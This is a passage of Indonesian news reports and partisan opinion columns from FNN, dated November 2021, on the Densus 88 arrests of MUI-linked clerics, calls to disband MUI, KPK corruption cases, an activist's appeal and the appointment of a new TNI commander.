keterlibatan dalam organisasi yang bernama Jama'ah Islamiyah secara otomatis seseorang menjadi teroris ? Bagaimana jika keberadaannya untuk meluruskan organisasi ? Lalu apa dan siapa Jama'ah Islamiyah itu dalam kualifikasi politik, agama, dan hukum ? Pemerintah belum pernah menjelaskan secara terbuka sosok organisasi ini, termasuk keharamannya. Ketiga, perlu jawaban benar dan beralasan mengapa Densus 88 enggan atau tidak melakukan aksi apa-apa dalam menghadapi KKB di Papua yang sudah betul-betul melakukan tindak pidana terorisme. Mereka adalah teroris yang sangat berbahaya, melawan NKRI, dan sangat keji. Dalam kaitan Jama'ah Islamiyah, menarik apa yang disampaikan pengamat terorisme Al Chaidar yang menjelaskan telah terjadi perubahan signifikan pada Jama'ah Islamiyah (JI) dari organisasi yang radikal menjadi lebih humanis. Menurutnya, sejak 2007 Jama'ah Islamiyah bukanlah organisasi teroris lagi. Dosen Universitas Malikusshaleh Aceh ini menjelaskan bahwa tahun 2008 hingga 2013 JI menjadi organisasi da'wah dan meninggalkan operasi teror di berbagai wilayah. Tahun 2013 hingga sekarang JI menjadi organisasi humanitarian dengan mendirikan Syam Organizer, Hilal Ahmar Society (HASI, One Care, ABA, dan sebagainya. Zain An Najah dan Farid Okbah belum kuat untuk ditempatkan sebagai teroris hanya karena terafiliasi pada JI, tuturnya. Uraian Al Chaedar menjadi penting untuk dikonfirmasi dan dibuka lebih luas oleh Pemerintah, jangan sampai penangkapan Densus 88 atas ketiga ulama di atas hanya menciptakan kegaduhan, tanpa bukti kuat, dan hanya sebagai pembenaran bahwa rezim saat ini memang Islamofobia. Apakah ada pihak yang sedang menciptakan sosok pengganti Abubakar Ba'asyir untuk menakut-nakuti masyarakat? Upaya yang sangat tidak mendidik dan tidak bermoral. *) Pemerhati Politik dan Kebangsaan

HNW: Pemberantasan Terorisme Yes, Framing Bubarkan MUI No!

Jakarta, FNN - Wakil Ketua MPR RI Dr Hidayat Nur Wahid (HNW) menegaskan dukungannya terhadap pemberantasan terorisme di Tanah Air, namun menolak teror yang berbentuk "framing" dan dijadikan trending untuk membubarkan Majelis Ulama Indonesia (MUI). "Framing yang dijadikan trending topic pembubaran MUI terjadi pascapenangkapan pimpinan MUI Dr Zain An Najah oleh Densus 88 karena dugaan keterlibatan terorisme," kata dia melalui keterangan tertulis yang diterima di Jakarta, Kamis. HNW menegaskan dukungannya terhadap MUI. Apalagi, MUI adalah organisasi legal dan formal dan telah berdiri sejak 26 Juli 1975. MUI juga jadi wadah musyawarah para ulama, zuama dan cendekiawan Muslim se-Indonesia, baik individual maupun yang terhimpun dalam ormas-ormas Islam. HNW mengatakan mereka yang tergabung dalam MUI memiliki semangat Islam wasathiyah (moderat), ukhuwah islamiyah dan ukhuwah wathaniyah. Selain itu, sikap kebangsaan MUI selama ini juga jelas mendorong Islam moderat dan kerukunan antarumat beragama. "Termasuk menolak ideologi radikalisme, aksi islamofobia, terorisme, komunisme, hingga separatisme," kata Ketua ke-11 MPR RI itu pula. Pada kesempatan itu, ia mengingatkan umat Islam dan negara agar mewaspadai gerakan yang bisa menunggangi isu terorisme dengan penangkapan salah satu anggota pimpinan MUI. "Bila benar terjadi, maka ini merupakan agenda islamofobia dan pelecehan lembaga keagamaan termasuk yang Islam moderat," ujarnya. Terkait penangkapan Dr Zain An Najah, MUI telah mengambil sikap dengan menegaskan bahwa MUI menolak terorisme dan mendukung pemberantasan terorisme. Selain itu, penangkapan tersebut sama sekali tidak terkait dengan organisasi/lembaga. "MUI menyerahkan proses hukum kepada aparat dengan mengingatkan agar tetap mengedepankan asas praduga tak bersalah dan memenuhi prinsip keadilan," ujar dia. Selain itu, kata dia, sangat baik jika MUI terus mengimbau agar masyarakat tidak terprovokasi dan tetap menjaga kerukunan antarumat beragama serta kemaslahatan umum. Kemudian termasuk pula mengkritisi kinerja dari Densus 88 agar betul-betul profesional, adil dan tidak tebang pilih. (sws, ant)

Malaysia Proses 10 Konten Penghinaan Agama

Kuala Lumpur, FNN - Komisi Komunikasi dan Multimedia Malaysia (SKMM) selama 2020-Oktober 2021 telah memproses sepuluh berkas penyebaran konten berunsur penghinaan terhadap agama dan salah satunya telah diajukan ke mahkamah. "Usaha yang dijalankan SKMM ini akan diteruskan sesuai laporan dan aduan yang diterima, terutama bila melibatkan berita palsu yang bisa memberi dampak keharmonian hubungan antarkaum dan agama di dalam negara," ujar Menteri Komunikasi dan Multimedia Malaysia Annuar Musa di Kuala Lumpur, Kamis. Annuar mengatakan hal itu saat menjawab pertanyaan anggota parlemen Wan Hassan yang menanyakan langkah strategis yang diambil SKMM dalam menangani isu penghinaan terhadap agama Islam yang masih beredar luas di media sosial. "Kementerian melalui SKMM dengan kerja sama dari pihak polisi tidak akan berkompromi dan senantiasa berkomitmen mengambil tindakan tegas terhadap siapa pun yang mengganggu keamanan, kestabilan dan keharmonisan negara termasuk penghinaan terhadap agama Islam," katanya. Politikus UMNO itu mengatakan pendekatan secara kolektif diambil melalui kerja sama SKMM dengan Polisi Diraja Malaysia (PDRM), Lembaga Kemajuan Islam Malaysia (JAKIM) dan Lembaga Agama Islam Negeri-Negeri (JAIN). "Kerja sama ini untuk memastikan konten-konten yang berunsur kebencian terhadap agama Islam, termasuk dalam aspek penegakan serta bantuan teknis yang diberikan oleh SKMM kepada PDRM dan Lembaga Agama Islam di negeri-negeri terkait penyelidikan, pembekalan informasi dan analisis forensik digital," katanya. Dia mengatakan PDRM dan SKMM baru-baru ini telah menjalin kerja sama untuk memberantas kriminalitas dan melindungi pengguna internet dalam negeri termasuk tentang isu yang berkaitan dengan ketenteraman umum di media sosial. "Pihak pemerintah juga mau mengingatkan rakyat Malaysia supaya bertindak matang dengan tidak memuat konten yang mengganggu ketenteraman dan keharmonisan umum," katanya. (sws, ant)

KPK Dalami Status Tanah Aset Negara di RS Siloam Sorong

Sorong, FNN - Komisi Pemberantasan Korupsi (KPK) mulai mendalami dan menelusuri status tanah bangunan Rumah Sakit Siloam Sorong di Papua Barat dikabarkan aset negara yang sudah dijual kepada pihak swasta. Kepala Satuan Tugas Koordinasi dan Supervisi KPK Wilayah V Dian Patria, di Sorong, Kamis, mengatakan bahwa pihaknya sedang mencari informasi tentang status tanah bangunan Rumah Sakit Siloam Sorong yang dikabarkan aset negara yang telah dilepaskan ke pihak lain. Menurut dia, sesuai dengan informasi yang didapatkan bahwa tanah bangunan RS Siloam sebelumnya adalah tanah yang merupakan aset milik Pemerintah Kabupaten Sorong. Seiring waktu, kata dia, tanah tersebut dilepaskan begitu saja dan tidak lagi tercatat dalam aset daerah. Kemudian tanah tersebut dikuasai oleh PT PBS yang kemudian berkolaborasi dengan pihak lainnya untuk membangun Rumah Sakit Siloam dan mal. "Kami sudah bentuk tim bersama Badan Pertanahan Nasional baik Kota maupun Kabupaten Sorong untuk menelusuri proses pelepasan aset tersebut," ujar Dian. Dia menyatakan bahwa jika tanah tersebut aset negara dan proses pelepasan kepada pihak swasta cacat hukum, maka aset tersebut akan ditarik kembali. Menurut dia, walaupun sudah bersertifikat, namun proses pelepasan aset tersebut ditemukan cacat hukum, maka Badan Pertanahan Nasional (BPN) bisa membatalkan sertifikat tanah tersebut. "Hal ini yang sedang kami telusuri dan dalami baik proses penyerahan asetnya maupun unsur pidananya," kata dia lagi. (sws, ant)

KPK Tahan Abdul Wahid Bupati Hulu Sungai Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menahan Bupati Hulu Sungai Utara Abdul Wahid (AW) setelah ditetapkan sebagai tersangka kasus dugaan suap dan gratifikasi. Abdul Wahid ditetapkan sebagai tersangka kasus dugaan suap pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara, Kalimantan Selatan, tahun 2021-2022 dan gratifikasi. "Agar proses penyidikan dapat berjalan lancar, tim penyidik melakukan upaya paksa penahanan. Hari ini, tersangka saudara AW dilakukan penahanan 20 hari pertama terhitung mulai 18 November 2021 sampai dengan 7 Desember 2021 penempatan di Rutan KPK pada Gedung Merah Putih," kata Ketua KPK Firli Bahuri saat jumpa pers di Gedung KPK, Jakarta, Kamis. Firli mengatakan tersangka Abdul Wahid akan menjalani isolasi mandiri selama 14 hari di rutan tersebut untuk mengantisipasi penyebaran COVID-19. Penetapan Abdul Wahid sebagai tersangka merupakan pengembangan dari kasus yang menjerat Maliki (MK) selaku Plt Kepala Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Hulu Sungai Utara, Marhaini (MRH) dari pihak swasta/Direktur CV Hanamas, dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. Dalam konstruksi perkara, Firli mengungkapkan tersangka Abdul Wahid selaku Bupati Hulu Sungai Utara untuk dua periode (2012-2017 dan 2017-2022) pada awal 2019 menunjuk Maliki sebagai Plt Kepala Dinas PUPRP Kabupaten Hulu Sungai Utara. Diduga ada penyerahan sejumlah uang oleh Maliki untuk menduduki jabatan tersebut karena sebelumnya telah ada permintaan oleh tersangka Abdul Wahid. Penerimaan uang oleh tersangka Abdul Wahid dilakukan di rumah Maliki pada Desember 2018 yang diserahkan langsung oleh Maliki melalui ajudan tersangka Abdul Wahid. "Pada sekitar awal 2021, MK menemui tersangka AW di rumah dinas jabatan bupati untuk melaporkan terkait "plotting" paket pekerjaan lelang pada bidang Sumber Daya Air Dinas PUPRP Hulu Sungai Utara Tahun 2021," katanya. Dalam dokumen laporan paket "plotting" pekerjaan tersebut, lanjut Firli, Maliki telah menyusun sedemikian rupa dan menyebutkan nama-nama dari para kontraktor yang akan dimenangkan dan mengerjakan berbagai proyek tersebut. "Selanjutnya, tersangka AW menyetujui paket "plotting" ini dengan syarat adanya pemberian komitmen "fee" dari nilai proyek dengan persentase pembagian "fee", yaitu 10 persen untuk tersangka AW dan 5 persen untuk MK," ucap Firli. Adapun, kata dia, pemberian komitmen "fee" yang diduga diterima oleh tersangka Abdul Wahid melalui Maliki, yaitu dari Marhaini dan Fachriadi dengan jumlah sekitar Rp500 juta. Selain melalui perantaraan Maliki, Firli menjelaskan tersangka Abdul Wahid juga diduga menerima komitmen "fee" dari beberapa proyek lainnya melalui perantaraan beberapa pihak di Dinas PUPRP Kabupaten Hulu Sungai Utara, yaitu pada 2019 sekitar Rp4,6 miliar, pada 2020 sekitar Rp12 miliar, dan pada 2021 sekitar Rp1,8 miliar. "Selama proses penyidikan berlangsung, tim penyidik telah mengamankan sejumlah uang dalam bentuk tunai dengan pecahan mata uang rupiah dan juga mata uang asing yang hingga saat ini masih terus dilakukan penghitungan jumlahnya," kata Firli. Atas perbuatannya, Abdul Wahid disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 dan Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP jo Pasal 64 KUHP jo Pasal 65 KUHP. (sws, ant)

Jumhur Hidayat Ajukan Banding ke Pengadilan Tinggi Jakarta

Jakarta, FNN - Aktivis buruh Jumhur Hidayat mengajukan banding atas putusan Pengadilan Negeri Jakarta Selatan yang memvonis dirinya hukuman penjara 10 bulan ke Pengadilan Tinggi Jakarta. “Kami ajukan banding kemarin (17/11),” kata Koordinator Tim Advokasi untuk Demokrasi (TAUD) Oky Wiratama saat dihubungi di Jakarta, Kamis. TAUD merupakan tim kuasa hukum Jumhur yang terdiri atas pengacara publik LBH Jakarta dan Lokataru. Oky menerangkan selama menempuh banding TAUD masih mendampingi Jumhur Hidayat sebagai penasihat hukum. Oky, saat ditanya mengenai pertimbangan mengajukan banding, menyebutkan ia belum dapat menyampaikan isi memori banding atas putusan PN Jakarta Selatan. “Pertimbangannya belum bisa saya sampaikan di sini, karena belum membuat memori bandingnya, masih akta pernyataan banding saja,” terang dia. Meskipun mengajukan banding, Jumhur sampai saat ini tetap menjalani hukumannya sebagai tahanan rumah sebagaimana diperintahkan oleh majelis hakim PN Jakarta Selatan minggu lalu (11/11). Majelis hakim PN Jakarta Selatan pada minggu lalu memvonis Jumhur hukuman penjara 10 bulan, tetapi ia tidak perlu dikurung di penjara salah satunya karena masalah kesehatan. Jumhur telah dikurung di Rumah Tahanan Bareskrim Polri, Jakarta selama kurang lebih 7 bulan. Dengan demikian, masa hukumannya tersisa 3 bulan. Usai mendengar putusan hakim, Jumhur yang ditemui di luar ruang sidang minggu lalu, mengatakan ia tidak puas terhadap putusan hakim. Ia berharap dapat bebas murni, karena unggahannya di akun Twitter pribadinya merupakan kritik terhadap kebijakan. Jumhur terseret kasus pidana setelah ia pada Oktober 2020 mengunggah cuitan yang mengkritik Omnibus Law Cipta Kerja. Cuitan Jumhur yang menjadi sumber dakwaan jaksa dan putusan hakim: “UU ini memang utk PRIMITIVE INVESTORS dari RRC dan PENGUSAHA RAKUS. Kalau INVESTOR BERADAB ya seperti di bawah ini: 35 Investor Asing Nyatakan Keresahannya terhadap Pengesahan UU Cipta Kerja. Klik untuk baca: kmp.im/AGA6m2”. Majelis hakim PN Jakarta Selatan berkeyakinan Jumhur bersalah melanggar Pasal 15 UU No. 1/1946 tentang Peraturan Hukum Pidana. Vonis itu merupakan hasil pemeriksaan dari unsur-unsur dakwaan lebih subsider jaksa. Pasal 15 UU No.1/1946 mengatur: “Barangsiapa menyiarkan kabar yang tidak pasti atau kabar yang berkelebihan atau yang tidak lengkap, sedangkan ia mengerti setidak-tidaknya patut dapat menduga, bahwa kabar demikian akan atau mudah dapat menerbitkan keonaran di kalangan rakyat, dihukum dengan hukuman penjara setinggi-tingginya dua tahun”. Bagi Jumhur dan tim kuasa hukumnya, pasal itu merupakan ancaman bagi demokrasi dan kebebasan berpendapat di Indonesia. (sws, ant)

Jaksa Agung : Tak Ada Alasan Tidak Terapkan Hukuman Mati Koruptor

Jakarta, FNN - Jaksa Agung Burhanuddin mengatakan penerapan sanksi pidana mati terhadap pelaku tindak pidana korupsi ini memiliki beberapa persoalan salah satunya penolakan dari para aktivitas Hak Asasi Manusia (HAM). Menurut Burhanuddin, aktivis HAM mendapat dukungan dari dunia internasional yang mendorong setiap negara untuk menghapus regulasi hukuman mati, dengan dalih jika hak hidup merupakan hak mutlak yang tidak dapat dicabut oleh siapapun kecuali oleh Tuhan. "Penolakan para aktivis HAM ini tentunya tidak dapat kita terima begitu saja. Sepanjang konstitusi memberikan ruang yuridis dan kejahatan tersebut secara nyata sangat merugikan bangsa dan negara, maka tidak ada alasan bagi kita untuk tidak menerapakan hukuman mati," kata Burhanuddin dalam webinar yang digelar Fakultas Hukum Universitas Jenderal Soedirman, secara daring, Kamis. Burhanuddin mengatakan perlu menyadari bahwa eksistensi 'hak asasi' haruslah bergandengan tangan dengan 'kewajiban asasi'. Dengan kata lain, kata Burhanuddin, negara akan senantiasa melindung hak asasi setiap orang, namun di satu sisi orang tersebut juga memiliki kewajiban untuk menghormati hak orang lain. Lebih lanjut ia menjelaskan, peletakan pola dasar hukum Pancasila dengan menekankan adanya keseimbangan antara hak dan kewajiban merupakan sebuah keharusan agar tercipta tertib kehidupan bermasyarakat, berbangsa, dan bernegara. "Dalam Pasal 28 I ayat (1) UUD 1945, hak hidup adalah hak yang tidak dapat dikurangi dalam keadaan apapun," katanya. Namun, lanjut dia, jika dilihat dari sistematika penyusunan pasal-pasal yang mengatur tentang perlindungan HAM di dalam UUD 1945, maka akan tampak adanya suatu pembatasan HAM yang tertuang di pasal penutupnya. Ketentuan dalam Pasal 28 J ayat (1) UUD 1945 telah mewajibkan setiap orang untuk menghormati HAM orang lain dalam tertib kehidupan bermasyarakat, berbangsa, dan bernegara. Kemudian dalam pasal penutup HAM yaitu di Pasal 28J ayat (2) UUD 1945, menegaskan jika HAM dapat dibatasi dan bersifat tidak mutlak. "Negara dapat mencabut HAM setiap orang apabila orang tersebut melanggar undang-undang," tegas Burhanddin. Dengan demikian, kata Burhanuddin, berdasarkan ketentuan dalam Pasal 28J ayat (2) UUD 1945 tersebut, maka penjatuhan sanksi pidana mati untuk koruptor yang selama ini terhalangi oleh persoalan HAM dapat ditegakkan. Persoalan lain dalam penerapan hukuman mati terhadap korupti, adanya pandangan yang menghendaki dihapuskannya sanksi pidana mati dengan argumentasi bahwa adanya sanksi pidana mati tidak menurunkan kuantitas kejahatan. Pandangan tersebut 'dilawan' oleh Burhanuddin dengan sebuah pertanyaan serupa secara "a contrario" yaitu : Apabila sanksi pidana mati untuk koruptor dihapuskan, apakah lantas akan terjadi penurunan kuantitas tindak pidana korupsi?" "Mengingat perkara korupsi belum ada tanda-tanda hilang dan justru semakin meningkat kuantitasnya, maka sudah sepatutnya kita melakukan berbagai macam terobosan hukum sebagai bentuk ikhtiar pemberantasan korupsi," kata Burhanuddin. Meski begitu, Burhanuddin menyebutkan, penerapan hukuman mati bagi para koruptor perlu dikaji lebih dalam untuk memberikan efek jera. Selama ini kejaksaan telah melakukan beragam upaya penegakan hukum, misalnya menjatuhkan tuntutan yang berat sesuai tingkat kejahatan, mengubah pola pendekatan dari "follow the suspect" menjadi "follow the money" dan "follow the asset", serta memiskinkan koruptor. Tapi ternyata efek jera hanya mengena para terpidana untuk tidak mengulangi kejahatan. Efek jera ini belum sampai ke masyarakat, karena koruptor silih berganti, dan tumbuh dimana-mana. Sebelumnya, Jaksa Agung menggulirkan wacana hukuman mati terhadap koruptor, berkaca dari dua kasus megakorupsi yakni pengelolaan keuangan dan dana investasi pada PT Asabri dan PT Asuransi Jiwasraya. Kedua kasus korupsi tersebut berdampak besar bagi masyarakat luas terutama pegawai dan anggota asuransi tersebut. Kerugian negara yang ditimbulkan sangat besar, yakni Rp16,8 triliun untuk kasus Jiwasraya, dan Rp22,78 triliun di kasus Asabri. Selain itu, terdapat dua terdakwa yang sama di dua kasus tersebut, yakni Benny Tjockrosaputro dan Heru Hidayat. (sws, ant)

Ritual Perubahan Kekuasaan

Oleh Ridwab Saidi *) PADA tanggal 21 Mei 1998 di Istana Negara Presiden Soeharto dalam pidato ringkasnya menyerahkan kekuasaan pada Wapres BJ Habibie. Ada yang menarik dari situasi itu yang mungkin tak banyak masyarakat tahu. Yaitu gestur tubuh Pak Harto ketika menyimak sambutan Habibie, tangan kirinya menggenggam lengan kanannya dengan kuat. Kemarin Rabu 17 November 2021 bertempat di Istana Negara.digelar upacara pelantikan Panglima TNI Jenderal Andika Perkasa. Senyuman-senyuman polos menghiasi suasana. Tetapi ada yang sulit tersenyum. Ekspresi wajahnya merengut, rasa kecewa tak dapat disembunyikan. Entah kenapa. Ekspresi minor ini menariknya berdialog dengan senyuman intelek penuh pengertian. Saya menyaksikan Beethoven Sonata in G dúr. Asian Games 1962 ada upacara pembukaan, ada pertandingan, setelah itu IOC kirim Sondhi yang bawa pesan Asian Ganes III di Jakarta, tak diakui karena tidak mengundang Israel. Beda dengan penundaan balap motor Mandalika karena teknis tidak siap. Pemuda Rakyat mengirim massa ke Hotel Indonesia tempat Sondhi bermalam. Lalu film-film India tidak lagi diputar di bioskop. Penggemar film India tak jumpa lagi dengan Shakila dan Madhubala di layar perak. Orde Lama dan PKI lupa bahwa Sondhi bukan wakili India. Politik Orde Lama makin tak karuan. Potensi kebanggaan dipatahkan. Bung Karno susah payah bikin Asian Games meski ekonomi sedang hancur-hancuran. Orang Laos masih berbangga dengan alamnya yang asli dan asri. Penggundulan hutan di sini bikin prihatin. Belum lagi soal emisi karbon. Persis semua terjadi dalam keadaan ekonomi dan finansial makin buruk saja. Apa daya kini? Tak banyak guna mengesankan power system OK dengan heboh pindah ibukota tapi ora ono duwite. Duit. The problem is still there. Are U gonna be there? Yes, I'll be there. Lho, kok? Itu 'kan cuma lagu, makanya jangan belagu, pake merengut segala. *) Budayawan

Pemkab Lebak Optimalkan Promosi Produk UMKM Dukung Pemulihan Ekonomi

Lebak, FNN - Pemerintah Kabupaten Lebak, Provinsi Banten mengoptimalkan promosi produk usaha micro kecil dan menengah (UMKM) guna mendukung percepatan pemulihan ekonomi masyarakat. "Kita berharap dengan pengoptimalan promosi kembali pendapatan ekonomi pelaku usaha normal, " kata Kepala Bidang UMKM pada Dinas Koperasi dan UKM Kabupaten Lebak Abdul Waseh di Lebak, Kamis. Pemerintah daerah kini gencar mempromosikan produk UMKM guna mendorong peningkatan ekonomi mereka. Pengoptimalan promosi itu baik melalui dinas terkait, juga menjalin kerja sama dengan kota dan kabupaten lain. "Kami berharap kerja sama ini dapat membantu pemasaran produk UMKM, " katanya menjelaskan. Menurut dia, promosi produk UMKM juga ditampung oleh Plaza Komoditi milik pemerintah daerah guna kemudahan pemasaran. Produk UMKM itu di antaranya kuliner, makanan tradisional, kerajinan kriya, fashion hingga pengelolaan edar pangan. Saat ini, pihaknya terus mengoptimalkan promosi produk UMKM sehubungan kasus penyebaran COVID-19 diberbagai daerah menurun drastis. Kemungkinan besar kata dia, pertumbuhan ekonomi kembali menggeliat, terlebih vaksinasi terus dilakukan secara maksimal. "Kami minta masyarakat dapat divaksinasi agar perekonomian masyarakat kembali normal, " katanya. Pemerintah daerah terus meningkatkan mutu dan kualitas produk UMKM agar mampu bersaing pasar. Selain itu juga dilengkapi perizinan edar dari BPOM sesuai UU Nomor 18 Tahun 2012 tentang Pangan dan Peraturan Pemerintah Nomor 86 Tahun 2019 tentang Keamanan Pangan. Produk UMKM wajib bersertifikasi halal, barcode juga memiliki izin Pangan Olahan Industri Rumah Tangga (P-IRT) dengan jenis pangan sesuai Peraturan Badan POM Nomor 22 Tahun 2018 tentang Pedoman Pemberian Sertifikat Produksi Pangan Industri Rumah Tangga yang diterbitkan pemerintah daerah. "Kami optimistis produk UMKM bisa bersaing pasar, karena kualitasnya tidak kalah dengan pabrik," katanya menjelaskan. Sementara itu, sejumlah pelaku UMKM Kabupaten Lebak mengapresiasi kebijakan pemerintah daerah membantu promosi pemasaran produk UMKM ditampung di Plaza Komoditi untuk meningkatkan omzet penjualan. "Kami tentu saat ini cukup terbantu pemasaran ditampung di Plaza Komoditi milik Pemkab Lebak, sehingga bisa menghasilkan pendapatan hingga Rp2 juta per pekan, " kata Beni, seorang pelakunya UMKM produk makanan warga Cibadak Kabupaten Lebak. (mth)

Ada Logo PDIP di Kursi Panglima TNI dan Kursi KSAD

By Asyari Usman Effendi Simbolon hebat. Pada 3 September 2021, kader senior PDIP ini bergegas membeberkan bocoran bahwa dalam waktu dekat Jenderal Andika Perkasa akan menjadi panglima TNI dan Pangkostrad Letjen Dudung Abdurrachman akan menjadi KSAD (Kepala Staf Angkatan Darat). Tak meleset sedikit pun, kedua jenderal ini kemarin (17/11/2021) dilantik oleh Presiden Joko Widodo (Jokowi) untuk menduduki kedua posisi itu sesuai “janji” Effendi. Hadiah yang tertangguhkan untuk Andika, hadiah yang terlalu awal untuk Dudung. Kedua pengangkatan ini sarat dengan noda politik. Noktah pertama noda-noda itu adalah Effendi Simbolon. Sedangkan limbah politik yang melumuri kedua pengangkatan ini adalah PDIP. Lambang Banteng Moncong Putih membayang di belakang kursi Panglima dan kursi Kepala Staf. Ini bisa terjadi berkat manuver Ketua Umum PDIP Megawati Soekarnoputeri (BU Mega). Terlalu panjang untuk diuraikan peranan Bu Mega dalam kedua pengangkatan ini. Cukuplah dikatakan bahwa Andika dan Dudung adalah favorit beliau. Tapi, apakah ada masalah kalau Bu Mega memfavoritkan kedua jenderal itu? Tentu tidak, kalau bekas tangan Bu Ketum tidak tertempel di kursi kedua pejabat tinggi militer itu. Sebaliknya, tentu menjadi masalah karena bekas tangan itu bukan sekadar tempelan debu yang akan segera lenyap. Tempelan tangan Bu Mega itu adalah celupan cat permanen berwarna merah. Inilah masalah besar. Kedua kursi itu kini menjadi “milik” PDIP, tepatnya milik Bu Mega. Apa dasarnya? Silakan kembali ke cerita Effendi Simbolon. Cerita ini merupakan bukti kuat bahwa Andika dan Dudung adalah hasil “fit and proper test” di markas PDIP. Sebagai “pemilik” kedua kursi terkuat itu, Bu Mega tentu wajar mengharapkan kedua penghuninya menjaga “silaturahmi” yang intensif dengan beliau dan dengan para petinggi partai. Harapan ini kelihatannya sulit dielakkan oleh kedua jenderal. Meskipun para pemerhati politik yakin Andika dan Dudung tidak akan terjebak menjadi “petugas partai”. Sangat mungkin kedua jenderal itu tidak akan terperangkap ke dalam agenda PDIP meskipun mereka berutang budi kepada Bu Mega. Sebab, mereka adalah tentara yang sudah malang-melintang menjaga taman Sapta Marga agar tidak dimasuki oleh tikus-tikus politik. Tapi, persoalannya, ada iming-iming yang menjanjikan. Bisa saja kedua jenderal yang baru dilantik itu tergoda. Bagaimanapun juga, Andika dan Dudung pasti punya ambisi. Sangat manusiawi. PDIP punya kekuasaan besar. Bu Mega sangat bisa berperan sebagai “king maker”. Artinya, kedua jenderal itu, khususnya Andika, sangat mungkin dibuat menjadi “raja” oleh Bu Mega. Sekarang saja pun sudah mulai disebut-sebut Andika-Puan atau Puan-Andika untuk Pilpres 2024. Mungkinkah ini terjadi? Sangat. Sebab, Puan perlu orang kuat dan relatif muda sebagai pendamping. Mungkinkah mereka menang? Bisa saja. Bagaimana dengan Dudung? Mulai hari ini, proyeksi kursi panglima TNI untuk beliau hampir pasti menjadi kenyataan. Dudung sangat dekat dengan Bu Mega. Pencapresan atau pencawapresan Puan Maharani tentu sangat penting bagi Bu Ketum. Dalam hal ini, menempatkan Dudung di Mabes TNI akan menjadi prioritas berikutnya bagi Bu Mega. Nah, maukah Dudung sebagai panglima TNI nantinya menyediakan diri untuk mengamankan Puan 2024? Memang belum tentu. Sebab, di tubuh TNI banyak jenderal lain yang harus didengarkan oleh panglima. Lagi pula, TNI bukanlah perseroan keluarga yang bisa diarah-arahkan untuk kepentingan pribadi. Tapi, harap dicatat, apa yang tak bisa dilakukan oleh seorang panglima TNI? Semoga saja kedua jenderal yang baru dilantik kemarin sebagai panglima TNI dan KSAD tidak tergiring ke posisi petugas partai.[] (Penulis waratawan senior FNN)

Goyang MUI

Oleh Ady Amar *) JIKA ada tikus di gudang beras BULOG, maka menghabisi tikus itu tidaklah dengan gudang itu mesti dibakar. Memiliki pikiran membakar gudang, jika pikiran itu ada, pastilah pikiran itu muncul dari orang tidak waras. Eko Kunthadi dikenal sebagai buzzer. Menjadi buzzer itu pilihan hidupnya. Jalan takdirnya. Tidak ada masalah dengan pilihannya itu. Adalah ia, yang coba menggoyang MUI dengan usulan pembubaran Ormas yang lahir 1975, yang telah menjadi tenda besar umat Islam. Ditangkapnya 3 ulama oleh Densus 88 (16 November), seorang di antaranya anggota MUI, Dr. Ahmad Zain An-Najah. Salah satu anggota Komisi Fatwa MUI. Ditangkapnya itu, menjadi pintu masuk buat Eko dan kelompoknya menyoal perlunya MUI dibubarkan. Usulan pembubaran itu masuk kategori usulan yang muncul dari orang tidak waras, yang coba "membakar" institusi MUI, dengan usulan pembubarannya. Usulannya itu lebih dahsyat dari membakar gudang BULOG. Jadi ketidakwarasannya itu bernilai kuadrat. Eko mencoba mengangkat buzzer sekelasnya, yang tidak bekerja cuma nyasar personal yang berseberangan dengan rezim. Meski hasil kerjanya dan kelompoknya selama ini tidak bisa dibilang berhasil, kecuali piawai tebar dusta dan fitnah. Terpenting buat mereka ada kebisingan dalam jagad pemberitaan. Maka, Eko Kunthadi nekat mengusulkan pembubaran MUI, dan itu karena satu anggota MUI yang ditangkap Densus 88 itu diduga sebagai teroris. Masih dugaan yang itu belum pasti kebenarannya. Mereka yang ditangkap itu dikenal sebagai ulama moderat, yang tidak tampak jejaknya sebagai teroris. Semua memang tidak bisa dilepaskan dari kekritisan beberapa pengurus MUI yang aktif mengkritisi rezim, jika ditemukan hal yang tidak semestinya. Itu hal wajar, bagian dari dakwah yang tidak terlepas dari nahi munkar. Orang bahkan bisa menarik "kekurangajaran" seorang Eko Kunthadi, yang itu tidak terlepas dari saat MUI di bawah kepemimpinan Ketua Umum KH. Ma'ruf Amin--saat ini menjadi Wakil Presiden--yang ikut "berperan" memenjarakan seorang Basuki Tjahja Purnama (Ahok), Gubernur DKI Jakarta, karena kasus penistaan agama. Sepertinya dua sebab itu yang melatarbelakangi usulan pembubaran MUI itu: adanya beberapa pengurus MUI yang kritis terhadap rezim, dan dendam lama atas dipenjarakannya si penista agama. Tampaknya itu saja _sih_. Usulan pembubaran MUI itu bagian dari skenario, tidaklah ujug-ujug asal usul. Profesor Henry Offside Sejak kemarin beredar meme dari Allahyarham Ustadz Tengku Zulkarnain, yang berdialog dengan Kiai Ma'ruf Amin, yang saat itu sebagai Ketua Umum MUI. Ustadz Zul, saat itu menjabat Wakil Sekjen MUI. Begini katanya: Saya Pernah Berkata di Kantor MUI pada Yang Mulia Yai Ma'ruf Amin, "Saya khawatir Yai, Sekarang HTI Dibubarkan, Besok FPI, Terakhir MUI Dibubarkan." Beliau Memandang Wajah Saya. Kemudian Berkata, "Kita LAWAN...!" Kemudian Saya Berkata, "Saat Itu, Apa Tidak Terlambat?" Beliau Diam. Ternyata apa yang diprediksi Ustadz Zul, menemui kebenaran. Setidaknya setelah HTI dibubarkan. FPI di akhir Desember 2020 pun dibubarkan... Setelah itu, muncul "serangan" terhadap MUI dengan wacana pembubarannya. Penyerangan terhadap MUI sepertinya sistemik. Sampai Staf Ahli Menteri Komunikasi dan Informatika Bidang Hukum, Prof Henry Subiakto pun perlu tampil. Profesor satu ini usilnya _gak_ pernah berhenti, layaknya ia bisa disebut punya kerja sampingan sebagai buzzer. Setidaknya, cuitannya itu khas buzzer. Ia membagikan tangkapan berita sebuah media online tahun 2015. Judulnya, "MUI: Sudah Waktunya Densus 88 Dibubarkan". Lalu ia menuliskan: "Ini kecenderungan umum. Maling tidak suka pada polisi. Koruptor tidak suka dengan KPK. Musuh negara tidak suka dengan tentara. Teroris tidak suka pada Densus 88," kata Prof. Henry dalam postingan Twitternya (17/11). Tampak Prof. 